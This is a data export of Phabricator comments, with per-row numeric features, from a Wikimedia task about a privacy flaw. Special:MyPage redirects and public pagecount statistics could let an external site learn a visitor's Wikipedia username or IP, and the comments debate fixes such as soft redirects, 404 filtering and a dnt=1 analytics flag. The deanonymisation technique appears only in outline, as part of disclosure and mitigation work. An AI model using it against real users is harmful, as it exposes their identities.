such a timeline with where we can change code so varnishkafka can see it."
522822,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp or somebody else: Could a developer of mediawiki be involved for analysis of my ""soft"" redirect solution ?

As I understand,  for the moment, mainly analytics persons are involved 
and they envision the problem in filtering the log because don't modify the mediawiki product (see for example https://phabricator.wikimedia.org/T109724#1602558  )
but in my opinion the best way to solve it, if doable,   is to not making the request so nothing appear in the log.

It is the idea of ""soft"" redirect from [[Special:MyPage]] kind of pages to  [[User:Xavier Combelle]] likes.
By ""soft"" redirect I called something similar of what happen when redirecting [[UK]] to [[United Kindom]] which doesn't do a round-trip to the server

I exposed this idea in these comments (https://phabricator.wikimedia.org/T109724#1601249 https://phabricator.wikimedia.org/T109724#1610437)",,,1441736145,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,1.0,0.0,1.0,1.5,5.5,1.0,0.5,0.0,0.5,2.5,1.0,0.0,0.0,0.0,2.5,0.5,3.5,12.5,1.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,1.0,1.0,0.5,0.0,0.5,0.5,1.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.5,2.0,1.5,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.0,12.5,4.0,0.5,3.5,0.0,4.0,0.0,1.5,1.0,0.0,1.5,0.0,0.5,5.0,3.5813953488372094,0.7034883720930233,"SCREEN_NAME or somebody else: Could a developer of mediawiki be involved for analysis of my ""soft"" redirect solution ?

As I understand,  for the moment, mainly analytics persons are involved 
and they envision the problem in filtering the log because don't modify the mediawiki product (see for example URL  )
but in my opinion the best way to solve it, if doable,   is to not making the request so nothing appear in the log.

It is the idea of ""soft"" redirect from [[Special:MyPage]] kind of pages to  [[User:Xavier Combelle]] likes.
By ""soft"" redirect I called something similar of what happen when redirecting [[UK]] to [[United Kindom]] which doesn't do a round-trip to the server

I exposed this idea in these comments (URL URL"
522806,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp or somebody else: Could a developer of mediawiki be implicated for analysis of my ""soft"" redirect solution ?

As I understand,  for the moment, mainly analytics persons are involved 
and they envision the problem in filtering the log because don't modify the mediawiki product (see for example https://phabricator.wikimedia.org/T109724#1602558  )
but in my opinion the best way to solve it, if doable,   is to not making the request so nothing appear in the log.

It is the idea of ""soft"" redirect from [[Special:MyPage]] kind of pages to  [[User:Xavier Combelle]] likes.
By ""soft"" redirect I called something similar of what happen when redirecting [[UK]] to [[United Kindom]] which doesn't do a round-trip to the server

I exposed this idea in these comments (https://phabricator.wikimedia.org/T109724#1601249 https://phabricator.wikimedia.org/T109724#1610437)",,,1441734539,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,1.0,0.0,1.0,1.5,5.5,1.0,0.5,0.0,0.5,2.5,1.0,0.0,0.0,0.0,2.5,0.5,3.5,12.5,1.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,1.0,1.0,0.5,0.0,0.5,0.5,1.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.5,2.0,1.5,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.0,12.5,4.0,0.5,3.5,0.0,4.0,0.0,1.5,1.0,0.0,1.5,0.0,0.5,5.0,3.5930232558139537,0.7093023255813953,"SCREEN_NAME or somebody else: Could a developer of mediawiki be implicated for analysis of my ""soft"" redirect solution ?

As I understand,  for the moment, mainly analytics persons are involved 
and they envision the problem in filtering the log because don't modify the mediawiki product (see for example URL  )
but in my opinion the best way to solve it, if doable,   is to not making the request so nothing appear in the log.

It is the idea of ""soft"" redirect from [[Special:MyPage]] kind of pages to  [[User:Xavier Combelle]] likes.
By ""soft"" redirect I called something similar of what happen when redirecting [[UK]] to [[United Kindom]] which doesn't do a round-trip to the server

I exposed this idea in these comments (URL URL"
522774,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1616322, @Milimetric wrote:
> @csteipp: mediawiki or any extension can add ""dnt=1"" to the X-Analytics header in the request.

@Milimetric, do you have an example of that? I thought we collected these pagehits from varnish, so by the time mediawiki handles the request, the request headers have already been set.

I see MobileFrontend setting X-Analytics in the response, but I'm not sure if varnishkafka would respect a dnt=1 from that.",,,1441732637,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,9.0,2.0,14.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,8.0,9.0,8.0,2.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.136363636363637,0.7727272727272727,"QUOTE
QUOTE
SCREEN_NAME, do you have an example of that? I thought we collected these pagehits from varnish, so by the time mediawiki handles the request, the request headers have already been set.

I see MobileFrontend setting X-Analytics in the response, but I'm not sure if varnishkafka would respect a dnt=1 from that."
522588,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp: mediawiki or any extension can add ""dnt=1"" to the X-Analytics header in the request.  I'm not sure how responses to these requests would interact with the caches.  If we set it in the response, we'd have to trace that through varnish and make sure it ends up being produced by varnishkafka.",,,1441721707,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,2.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,3.0,0.0,3.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.876923076923077,0.8,"SCREEN_NAME: mediawiki or any extension can add ""dnt=1"" to the X-Analytics header in the request.  I'm not sure how responses to these requests would interact with the caches.  If we set it in the response, we'd have to trace that through varnish and make sure it ends up being produced by varnishkafka."
521626,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,@csteipp actually the URL is also replaced in browser history,,,1441485144,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,SCREEN_NAME actually the URL is also replaced in browser history
521625,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,@csteipp actually the URL is also replaced in history,,,1441485113,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,SCREEN_NAME actually the URL is also replaced in history
521420,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I actually didn't realize we updated the URL bar with javascript, that does make the UX much more acceptable.

@Milimetric, just to clarify, you're saying mediawiki would add dnt to the X-Analytics header in the response?",,,1441405839,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,9.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,7.0,9.0,4.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.043478260869565,0.8695652173913043,"I actually didn't realize we updated the URL bar with javascript, that does make the UX much more acceptable.
SCREEN_NAME, just to clarify, you're saying mediawiki would add dnt to the X-Analytics header in the response?"
521303,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"filtering the non existent page could limit the attacking power but not removing it. For example a burst on page view could still be detected

@JKatzWMF by soft redirect I mean the same redirect in a similar way  that is currently done by https://en.wikipedia.org/wiki/UK redirecting towards https://en.wikipedia.org/wiki/United_Kingdom it **does not ** a second request to the server and even update the URL so the user experience would be similar of the actual one but the privacy flaw would be solved.",,,1441395629,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,3.0,2.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,1.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,25.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,7.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,4.103448275862069,0.7011494252873564,"filtering the non existent page could limit the attacking power but not removing it. For example a burst on page view could still be detected
SCREEN_NAME by soft redirect I mean the same redirect in a similar way  that is currently done by URL redirecting towards URL it **does not ** a second request to the server and even update the URL so the user experience would be similar of the actual one but the privacy flaw would be solved."
521161,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp when we say soft redirect, that means the user has to click again?  If so, then soft redirects are not a workable solution.  This is a pretty bad user experience, so unless there was a direct breach or urgent need, I hope an alternative will work.",,,1441385660,,PHID-USER-izqileijt5niumtehazh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,2.0,11.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,11.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,7.0,7.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,3.8035714285714284,0.8214285714285714,"SCREEN_NAME when we say soft redirect, that means the user has to click again?  If so, then soft redirects are not a workable solution.  This is a pretty bad user experience, so unless there was a direct breach or urgent need, I hope an alternative will work."
520340,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Ok, new idea: can the requests that don't wish to be tracked simply add ""dnt=1"" to the X-Analytics header?  This would make it trivial to filter out requests.  It would also fit in with future possible usage of the DNT standard to exclude requests from logging.  Just talked with the team and from our point of view this is great.

By the way, we're not considering 404s in the new pageview definition, so this is just a problem with the legacy definition.  But even so, we would still have the request in our system.  So if we want to filter it out completely, the ""dnt=1"" solution makes sense.

(NOTE: we still have to make changes to implement the filter, so keep us in the loop)",,,1441295914,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.5,0.5,1.0,5.5,1.0,0.0,0.0,0.5,2.5,1.0,0.0,0.0,0.0,4.5,0.5,7.5,12.5,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,4.0,2.0,1.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,12.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,7.0,1.5,6.0,0.5,2.5,8.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,6.0,12.5,1.0,0.5,2.5,0.0,6.0,0.0,0.5,0.5,0.5,1.0,0.0,0.0,0.0,3.5668614086335606,0.7194904251866278,"Ok, new idea: can the requests that don't wish to be tracked simply add ""dnt=1"" to the X-Analytics header?  This would make it trivial to filter out requests.  It would also fit in with future possible usage of the DNT standard to exclude requests from logging.  Just talked with the team and from our point of view this is great.

By the way, we're not considering 404s in the new pageview definition, so this is just a problem with the legacy definition.  But even so, we would still have the request in our system.  So if we want to filter it out completely, the ""dnt=1"" solution makes sense.

(NOTE: we still have to make changes to implement the filter, so keep us in the loop)"
520338,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Ok, new idea: can the requests that don't wish to be tracked simply add ""dnt=1"" to the X-Analytics header?  This would make it trivial to filter out requests.  It would also fit in with future possible usage of the DNT standard to exclude requests from logging.  Just talked with the team and from our point of view this is great.

By the way, we're not considering 404s in the new pageview definition, so this is just a problem with the legacy definition.  But even so, we would still have the request in our system.  So if we want to filter it out completely, the ""dnt=1"" solution makes sense.",,,1441295877,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.5,0.5,1.0,5.5,1.5,0.0,0.0,0.5,2.0,1.0,0.0,0.0,0.0,3.5,0.5,7.5,11.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,4.0,1.5,1.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,11.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,6.5,2.0,5.5,0.5,2.0,8.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.5,1.0,0.5,2.5,0.0,5.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,3.6214881474978053,0.7479148375768218,"Ok, new idea: can the requests that don't wish to be tracked simply add ""dnt=1"" to the X-Analytics header?  This would make it trivial to filter out requests.  It would also fit in with future possible usage of the DNT standard to exclude requests from logging.  Just talked with the team and from our point of view this is great.

By the way, we're not considering 404s in the new pageview definition, so this is just a problem with the legacy definition.  But even so, we would still have the request in our system.  So if we want to filter it out completely, the ""dnt=1"" solution makes sense."
520331,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Milimetric, we do send a 404 response for the page, so we can filter for nonexistent easily.

But I'm guessing you're referring to limiting it by namespace.. Yes, I can see how that would be a challenge.",,,1441294991,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,7.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,2.0,11.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,2.0,4.0,0.0,13.0,11.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,4.0,0.0,7.0,0.0,0.0,0.0,3.6739130434782608,0.8260869565217391,"SCREEN_NAME, we do send a 404 response for the page, so we can filter for nonexistent easily.

But I'm guessing you're referring to limiting it by namespace.. Yes, I can see how that would be a challenge."
520326,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp, no, we can filter out pages, but I need a rule for what to filter out.  We don't know whether or not pages exist, and checking that would need some serious infrastructure.  Because we'd basically need an up to date database (so all page creations would need to be replicated to it) that can be queried 200 thousand times per second.  So probably a Redis or Cassandra cluster that can handle serious volume, or something like that.

If we had a simple rule (like a whitelist or a blacklist) that would be trivial, but it sounds like such a rule is not possible?",,,1441294420,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,1.0,1.0,0.0,1.5,2.0,3.5,1.5,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,4.5,8.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,2.5,0.0,3.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,10.5,3.0,0.0,1.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,5.0,3.0,5.0,2.0,4.5,7.5,0.0,0.0,0.0,0.0,6.0,0.5,2.0,0.0,4.5,8.5,1.5,1.0,0.0,0.0,4.5,0.0,3.5,5.0,0.0,0.5,0.0,0.0,0.0,3.7677931387608803,0.7278545826932924,"SCREEN_NAME, no, we can filter out pages, but I need a rule for what to filter out.  We don't know whether or not pages exist, and checking that would need some serious infrastructure.  Because we'd basically need an up to date database (so all page creations would need to be replicated to it) that can be queried 200 thousand times per second.  So probably a Redis or Cassandra cluster that can handle serious volume, or something like that.

If we had a simple rule (like a whitelist or a blacklist) that would be trivial, but it sounds like such a rule is not possible?"
520323,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I don't think making those soft redirects is going to be feasible from a product standpoint, but adding @jkatzwmf for an opinion of that.

@milimetric, do we really need to publish pagecounts for pages in the User namespace that don't exist?

",,,1441294012,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,6.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,17.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,6.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,4.0,15.0,2.0,2.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,4.270833333333333,0.8541666666666666,"I don't think making those soft redirects is going to be feasible from a product standpoint, but addingSCREEN_NAME for an opinion of that.
SCREEN_NAME, do we really need to publish pagecounts for pages in the User namespace that don't exist?

"
520309,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@xcombelle I agree that would be preferable (the soft redirect) but I assumed since I was involved that was not a good solution (since I have no control over the mediawiki behavior).  So, I'm still happy to help, but not sure how.",,,1441293274,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,2.0,4.0,10.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,10.0,8.0,0.0,2.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,13.0,6.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,8.0,2.0,0.0,0.0,0.0,10.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6538461538461537,0.7307692307692307,"SCREEN_NAME I agree that would be preferable (the soft redirect) but I assumed since I was involved that was not a good solution (since I have no control over the mediawiki behavior).  So, I'm still happy to help, but not sure how."
520074,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Milimetric

If you watch on the request your browser does  https://en.wikipedia.org/w/index.php?title=Special:MyPage is redirected to  https://en.wikipedia.org/wiki/Special:MyPage witch is redirected to  https://en.wikipedia.org/wiki/User:<your_ip_or_your_user_name> 

Whitelisting the Special: pages would not work as it is not the culprit is not the Special:Page request but the final destination request which is logged.

As I said, the best way to solve I found is making the Special:MyPage/xxx doing a soft redirect to User:Yyyy/xxx , so nothing personal to an user would be logged.
What I call a soft redirect is display the same content of User:Yyyy/xxx but without doing the redirect.

 Another way I thought was not to show on stats any page from User: namespace, but that looks like a bazooka way to solve the problem (even if it would work)",,,1441268831,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.5,0.0,0.0,2.0,2.0,4.0,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.5,0.5,3.0,10.0,0.5,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.5,6.0,2.0,1.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,14.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,8.0,5.0,13.0,1.0,2.5,10.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.5,10.0,6.5,0.0,0.0,0.0,4.5,0.0,1.0,2.5,0.0,2.0,0.0,0.5,0.0,3.7051282051282053,0.6794871794871795,"SCREEN_NAME

If you watch on the request your browser does  URL is redirected to  URL witch is redirected to  URL 

Whitelisting the Special: pages would not work as it is not the culprit is not the Special:Page request but the final destination request which is logged.

As I said, the best way to solve I found is making the Special:MyPage/xxx doing a soft redirect to User:Yyyy/xxx , so nothing personal to an user would be logged.
What I call a soft redirect is display the same content of User:Yyyy/xxx but without doing the redirect.

 Another way I thought was not to show on stats any page from User: namespace, but that looks like a bazooka way to solve the problem (even if it would work)"
520072,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Milimetric

If you watch on the request your browser does  https://en.wikipedia.org/w/index.php?title=Special:MyPage is edirected to  https://en.wikipedia.org/wiki/Special:MyPage witch is redirected to  https://en.wikipedia.org/wiki/User:<your_ip_or_your_user_name>

Whitelisting the Special: pages would not work as it is not the culprit is not the Special:Page request but the final destination request which is logged.

As I said, the best way to solve I found is making the Special:MyPage/xxx doing a soft redirect to User:Yyyy/xxx , so nothing personal to an user would be logged. Another way I thought was not to show on stats any page from User: namespace, but that looks like a bazooka way to solve the problem (even if it would work)",,,1441268699,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,1.0,0.0,0.0,2.5,2.5,3.5,2.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,9.5,1.0,2.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,2.5,1.5,0.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,7.0,5.0,11.5,1.5,2.0,9.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.5,7.0,0.0,0.0,0.0,4.0,0.0,0.5,2.5,0.0,1.5,0.0,0.5,0.0,3.708974358974359,0.7181818181818183,"SCREEN_NAME

If you watch on the request your browser does  URL is edirected to  URL witch is redirected to  URL

Whitelisting the Special: pages would not work as it is not the culprit is not the Special:Page request but the final destination request which is logged.

As I said, the best way to solve I found is making the Special:MyPage/xxx doing a soft redirect to User:Yyyy/xxx , so nothing personal to an user would be logged. Another way I thought was not to show on stats any page from User: namespace, but that looks like a bazooka way to solve the problem (even if it would work)"
519488,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Bawolff: the index.php?title= format does get included in the stats, we parse out the title as the article title.
@xcombelle, that last test you did turns out differently for me, I get redirected to https://en.wikipedia.org/wiki/User:<<my IP address>>/ccvhjhdkjvkvkhjhkvkjvdh .

@csteipp: I'm happy to help here, but I'm not sure what the appropriate resolution is.  Should we white-list the Special: pages that we include in stats?  If so, what should we do with the other requests?  Are they not ok to even be stored temporarily or should they just not bubble up out through datasets?",,,1441216390,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,1.0,2.5,5.5,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,5.0,0.0,7.0,9.5,0.0,1.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,8.5,0.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,4.5,2.5,7.5,1.0,1.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,7.5,9.5,2.0,2.5,0.0,0.0,7.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.5,4.087719298245614,0.7456140350877193,"SCREEN_NAME: the index.php?title= format does get included in the stats, we parse out the title as the article title.SCREEN_NAME, that last test you did turns out differently for me, I get redirected to URL IP address>>/ccvhjhdkjvkvkhjhkvkjvdh .
SCREEN_NAME: I'm happy to help here, but I'm not sure what the appropriate resolution is.  Should we white-list the Special: pages that we include in stats?  If so, what should we do with the other requests?  Are they not ok to even be stored temporarily or should they just not bubble up out through datasets?"
